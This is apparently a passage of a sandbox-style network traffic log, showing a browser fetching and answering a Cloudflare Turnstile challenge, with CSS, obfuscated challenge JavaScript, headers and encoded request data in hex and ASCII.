a:visited{color:#bbb}.theme-dark #challenge-error-title a:activ
2025-04-22 18:09:31 UTC	1369	IN	Data Raw: 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 Data Ascii: .theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:link,.theme-dark .er
2025-04-22 18:09:31 UTC	1369	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 64 74 68 3a 36 70 78 7d 2e 63 62 2d 6c 62 20 2e 63 Data Ascii: ackground-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);width:6px}.cb-lb .c
2025-04-22 18:09:31 UTC	1369	IN	Data Raw: 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a 30 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e Data Ascii: ace-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:0}.size-compact .
2025-04-22 18:09:31 UTC	1369	IN	Data Raw: 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f Data Ascii: ;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{color:#232323;fo

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:31 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9347129aedd47867&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:32 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:32 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 114339 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9347129f2a9f6cce-PHX alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:32 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 57 57 4c 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 Data Ascii: window._cf_chl_opt.vWWL8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23brow
2025-04-22 18:09:32 UTC	1369	IN	Data Raw: 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 Data Ascii: %20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges
2025-04-22 18:09:32 UTC	1369	IN	Data Raw: 6f 72 25 32 30 6f 72 25 32 30 73 75 62 6d 69 74 25 32 30 61 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4c 2c 65 4d 2c 65 4e 2c 65 55 2c 65 59 2c 66 31 2c 66 32 2c 66 73 2c 66 74 2c 66 78 2c 66 79 2c 66 43 2c 66 46 2c 66 49 2c 66 4b 2c 66 4c 2c 66 Data Ascii: or%20or%20submit%20a%20feedback%20report"},"polyfills":{"feedback_report_aux_subtitle":false,"feedback_report_output_subtitle":false,"feedback_report_guideline":false},"rtl":false,"lang":"en-us"};~function(gL,eM,eN,eU,eY,f1,f2,fs,ft,fx,fy,fC,fF,fI,fK,fL,f
2025-04-22 18:09:32 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 69 7c 68 7d 2c 27 72 6f 4d 4b 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 2c 27 43 48 51 6d 70 27 3a 68 62 28 35 33 38 29 2c 27 6a 79 46 4d 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 46 63 71 4c 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 41 53 54 6e 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 63 63 6a 76 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 69 6c 72 6f 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 51 4d 59 56 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c Data Ascii: eturn i\|h},'roMKE':function(h,i){return i===h},'CHQmp':hb(538),'jyFMf':function(h,i){return h<i},'FcqLV':function(h,i){return i==h},'ASTnV':function(h,i){return h-i},'ccjvR':function(h,i){return h<<i},'ilroM':function(h,i){return i==h},'QMYVZ':function(h,
2025-04-22 18:09:32 UTC	1369	IN	Data Raw: 66 6f 72 28 42 3d 7b 7d 2c 43 3d 7b 7d 2c 44 3d 27 27 2c 45 3d 32 2c 46 3d 33 2c 47 3d 32 2c 48 3d 5b 5d 2c 49 3d 30 2c 4a 3d 30 2c 4b 3d 30 3b 4b 3c 69 5b 68 67 28 31 31 36 30 29 5d 3b 4b 2b 3d 31 29 69 66 28 64 5b 68 67 28 31 33 39 33 29 5d 28 64 5b 68 67 28 31 34 38 37 29 5d 2c 64 5b 68 67 28 31 34 38 37 29 5d 29 29 72 65 74 75 72 6e 21 5b 5d 3b 65 6c 73 65 20 69 66 28 4c 3d 69 5b 68 67 28 36 37 37 29 5d 28 4b 29 2c 4f 62 6a 65 63 74 5b 68 67 28 31 30 39 37 29 5d 5b 68 67 28 39 33 33 29 5d 5b 68 67 28 31 32 32 38 29 5d 28 42 2c 4c 29 7c 7c 28 42 5b 4c 5d 3d 46 2b 2b 2c 43 5b 4c 5d 3d 21 30 29 2c 4d 3d 44 2b 4c 2c 4f 62 6a 65 63 74 5b 68 67 28 31 30 39 37 29 5d 5b 68 67 28 39 33 33 29 5d 5b 68 67 28 31 32 32 38 29 5d 28 42 2c 4d 29 29 44 3d 4d 3b 65 6c Data Ascii: for(B={},C={},D='',E=2,F=3,G=2,H=[],I=0,J=0,K=0;K<i[hg(1160)];K+=1)if(d[hg(1393)](d[hg(1487)],d[hg(1487)]))return![];else if(L=i[hg(677)](K),Object[hg(1097)][hg(933)][hg(1228)](B,L)\|\|(B[L]=F++,C[L]=!0),M=D+L,Object[hg(1097)][hg(933)][hg(1228)](B,M))D=M;el
2025-04-22 18:09:32 UTC	1369	IN	Data Raw: 3d 30 2c 48 5b 68 67 28 33 30 31 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 44 3d 28 45 2d 2d 2c 64 5b 68 67 28 31 32 34 34 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 68 67 28 31 32 37 38 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 42 5b 4d 5d 3d 46 2b 2b 2c 64 5b 68 67 28 35 30 39 29 5d 28 53 74 72 69 6e 67 2c 4c 29 29 7d 69 66 28 44 21 3d 3d 27 27 29 7b 69 66 28 4f 62 6a 65 63 74 5b 68 67 28 31 30 39 37 29 5d 5b 68 67 28 39 33 33 29 5d 5b 68 67 28 31 32 32 38 29 5d 28 43 2c 44 29 29 7b 69 66 28 64 5b 68 67 28 31 34 32 39 29 5d 28 32 35 36 2c 44 5b 68 67 28 38 39 37 29 5d 28 30 29 29 29 7b 66 6f 72 28 78 3d 30 3b 78 3c 47 3b 49 3c 3c 3d 31 2c 64 5b 68 67 28 31 32 33 36 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d Data Ascii: =0,H[hg(301)](o(I)),I=0):J++,N>>=1,x++);D=(E--,d[hg(1244)](0,E)&&(E=Math[hg(1278)](2,G),G++),B[M]=F++,d[hg(509)](String,L))}if(D!==''){if(Object[hg(1097)][hg(933)][hg(1228)](C,D)){if(d[hg(1429)](256,D[hg(897)](0))){for(x=0;x<G;I<<=1,d[hg(1236)](J,j-1)?(J=
2025-04-22 18:09:32 UTC	1369	IN	Data Raw: 68 67 28 39 30 36 29 5d 28 31 34 32 2c 61 65 2e 67 29 5d 5b 68 67 28 33 30 32 29 5d 28 54 29 7d 65 6c 73 65 20 74 68 72 6f 77 20 55 7d 7d 65 6c 73 65 7b 48 5b 68 67 28 33 30 31 29 5d 28 64 5b 68 67 28 31 33 38 31 29 5d 28 6f 2c 49 29 29 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 4a 2b 2b 3b 72 65 74 75 72 6e 20 48 5b 68 67 28 31 30 34 31 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 68 6a 29 7b 72 65 74 75 72 6e 20 68 6a 3d 68 62 2c 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 68 3d 3d 27 27 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 68 6a 28 31 31 36 30 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 68 6b 29 7b 72 65 74 75 72 6e 20 68 6b 3d 68 6a 2c 68 5b 68 6b 28 38 39 37 29 5d 28 69 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 Data Ascii: hg(906)](142,ae.g)][hg(302)](T)}else throw U}}else{H[hg(301)](d[hg(1381)](o,I));break}}else J++;return H[hg(1041)]('')},'j':function(h,hj){return hj=hb,h==null?'':h==''?null:f.i(h[hj(1160)],32768,function(i,hk){return hk=hj,h[hk(897)](i)})},'i':function(i
2025-04-22 18:09:32 UTC	1369	IN	Data Raw: 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 6c 28 31 32 37 38 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 64 5b 68 6c 28 36 31 36 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 68 6c 28 31 32 35 30 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 6c 28 31 33 36 33 29 5d 28 64 5b 68 6c 28 31 30 30 34 29 5d 28 30 2c 4e 29 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 64 5b 68 6c 28 31 32 36 36 29 5d 28 65 2c 4a 29 2c 4f 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 68 6c 28 31 30 34 31 29 5d 28 27 27 29 7d 69 66 28 30 3d 3d 78 26 26 28 78 3d 4d 61 74 68 5b 68 6c 28 31 32 37 38 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4f 5d 29 Data Ascii: for(J=0,K=Math[hl(1278)](2,16),F=1;F!=K;N=d[hl(616)](G,H),H>>=1,0==H&&(H=j,G=d[hl(1250)](o,I++)),J\|=d[hl(1363)](d[hl(1004)](0,N)?1:0,F),F<<=1);s[B++]=d[hl(1266)](e,J),O=B-1,x--;break;case 2:return D[hl(1041)]('')}if(0==x&&(x=Math[hl(1278)](2,C),C++),s[O])
2025-04-22 18:09:32 UTC	1369	IN	Data Raw: 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 56 28 38 39 34 29 5d 5b 68 56 28 31 32 34 36 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 68 56 28 38 31 31 29 5d 28 43 2c 78 5b 68 56 28 31 31 36 30 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 66 76 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 27 73 27 3d 3d 3d 45 26 26 21 67 5b 68 56 28 39 34 33 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 56 28 39 30 31 29 5d 28 6f 5b 68 56 28 31 31 38 32 29 5d 2c 6f 5b 68 56 28 31 30 36 33 29 5d 28 69 2c 44 29 29 3f 6f 5b 68 56 28 35 39 38 29 5d 28 73 2c 69 2b 44 2c 45 29 3a 46 7c 7c 6f 5b 68 56 28 35 39 38 29 5d 28 73 2c 6f 5b 68 56 28 31 30 36 33 29 5d 28 69 2c 44 29 2c 68 5b 44 5d 29 29 3a 73 28 Data Ascii: +=1);return G}}(x),B='nAsAaAb'.split('A'),B=B[hV(894)][hV(1246)](B),C=0;o[hV(811)](C,x[hV(1160)]);D=x[C],E=fv(g,h,D),B(E)?(F='s'===E&&!g[hV(943)](h[D]),o[hV(901)](o[hV(1182)],o[hV(1063)](i,D))?o[hV(598)](s,i+D,E):F\|\|o[hV(598)](s,o[hV(1063)](i,D),h[D])):s(
2025-04-22 18:09:32 UTC	1369	IN	Data Raw: 31 35 30 37 29 5d 28 68 5b 69 62 28 31 35 30 37 29 5d 28 32 35 35 26 6d 2c 6a 29 2c 68 5b 69 62 28 33 36 31 29 5d 28 69 2c 36 35 35 33 35 29 29 2b 36 35 35 33 35 29 25 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 69 62 28 31 30 34 31 29 5d 28 27 27 29 7d 2c 65 4d 5b 67 4c 28 31 31 32 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 69 64 2c 64 2c 65 2c 66 2c 67 29 7b 69 64 3d 67 4c 2c 64 3d 7b 7d 2c 64 5b 69 64 28 31 35 35 33 29 5d 3d 69 64 28 31 35 36 33 29 2c 64 5b 69 64 28 31 32 33 39 29 5d 3d 69 64 28 36 30 34 29 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 69 64 28 35 34 37 29 5d 5b 69 64 28 31 34 36 38 29 5d 28 32 3c 3c 66 2c 33 32 29 2c 65 4d 5b 69 64 28 39 33 31 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 65 29 7b 69 65 3d 69 64 2c 65 4d 5b 69 65 28 Data Ascii: 1507)](h[ib(1507)](255&m,j),h[ib(361)](i,65535))+65535)%255)));return k[ib(1041)]('')},eM[gL(1128)]=function(id,d,e,f,g){id=gL,d={},d[id(1553)]=id(1563),d[id(1239)]=id(604),e=d,f=1,g=1e3*eM[id(547)][id(1468)](2<<f,32),eM[id(931)](function(ie){ie=id,eM[ie(

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:31 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:32 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:32 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9347129f38397244-PHX alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:32 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:32 UTC	1190	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/634974395:1745342180:uKBXzDjkUEtlp3JW1o_n-eV3FVylXYclpYHKtRl9sXg/9347129aedd47867/vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3377 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:32 UTC	3377	OUT	Data Raw: 51 4c 64 57 42 57 35 57 47 57 6b 57 32 45 6d 77 45 6d 34 57 45 59 7a 65 33 70 45 76 6d 33 6d 74 4a 59 71 38 79 6d 53 47 6d 51 79 31 6e 6d 50 6d 69 79 33 65 49 79 31 6b 2d 49 6d 37 79 71 47 63 31 77 6d 76 34 64 6d 7a 31 79 7a 39 6d 79 32 47 31 69 65 74 64 78 6d 44 6d 64 4c 6d 41 42 57 33 2d 6d 33 47 41 65 31 76 2d 79 7a 38 2d 6d 37 59 31 4a 58 34 6d 31 65 6d 62 24 78 45 2d 7a 34 70 73 42 45 66 71 6d 54 6d 7a 4e 6d 65 4b 73 77 30 64 6d 45 48 4e 45 50 74 76 6d 45 38 24 24 48 63 41 46 76 38 38 53 4a 63 46 75 59 6d 70 41 31 73 6f 49 24 64 54 51 5a 78 6d 4e 65 6d 76 46 33 74 55 6d 31 39 4e 31 57 6d 4b 57 31 37 6a 51 42 4b 2d 56 42 75 6d 52 56 31 6d 45 24 48 6d 45 4c 6d 52 57 48 70 74 2b 79 6d 79 57 64 65 47 46 76 6e 59 54 39 37 65 33 59 6f 30 63 64 6d 2b 51 47 Data Ascii: QLdWBW5WGWkW2EmwEm4WEYze3pEvm3mtJYq8ymSGmQy1nmPmiy3eIy1k-Im7yqGc1wmv4dmz1yz9my2G1ietdxmDmdLmABW3-m3GAe1v-yz8-m7Y1JX4m1emb$xE-z4psBEfqmTmzNmeKsw0dmEHNEPtvmE8$$HcAFv88SJcFuYmpA1soI$dTQZxmNemvF3tUm19N1WmKW17jQBK-VBumRV1mE$HmELmRWHpt+ymyWdeGFvnYT97e3Yo0cdm+QG
2025-04-22 18:09:33 UTC	1091	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:33 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 230728 Connection: close cf-chl-gen: uL+1OzWSQ9vOafBaPH54csE8/BdSlLvT2fo1wAT3h4MU9k019fcM248pQs/WW5fRaVnaNSZbqT22/NVdy63vvCpm82ZxeFVyddOm/3NdVJib137HaM8v3U4BQ2KpnOEytntNvEzyWSH1xOoDOjMVgT0euiPTmm+kQkTHL8ur7ebXs1aUSZWBxjnrNbYgh0AXwhwz5Trg6L6zpFujyih3qV28yA0FZKbTeNB2dnoxDDJtBu0JWrlYcz71bixtwTf+eMwYClcec/GrVsAWJbFRpJhOYzM1CWntpRsRKwWBhwmiaLyhk+lyT+2JCQLIb2byxfA5VLAiV5iW8PQ8PFTdaRB/hyanrd+zksuWweWU1TLbsCQxI4uvlbhg10WRleUAa7fHu8RDSGdqL2ofFiWPNhQEuS1aIcjOpT/27dh6DnxYi2Ksv4BnQVMrqxL+LChEjUCMqgegexBkSs7VFZvsz6dOaoS6H0N27JHjQImUVJeSX/ADfx3xbUjfUHvKtFKC2sGiWbYBcUTDyyUMCiTzZN9aJTJgHgZys6KO/itZ0hj9n6qnt4CRmHzIRufwpVOrWk99/mPeij3knvqli/40zWwOAD5I3GxPDKNYHXD1xT6TLbNRyQZfK0kEluNyb99ROTGCxsw+PWQcIBpnT07oHhk7GWG+/32y0Wbs3Wtza84e1OG4Gxl0UX9GuaWDHy3eBLiqPwzpZC+t/SW+VZZNdWz6LHlFuAiaqoPw8sWI9olwVr0KQ1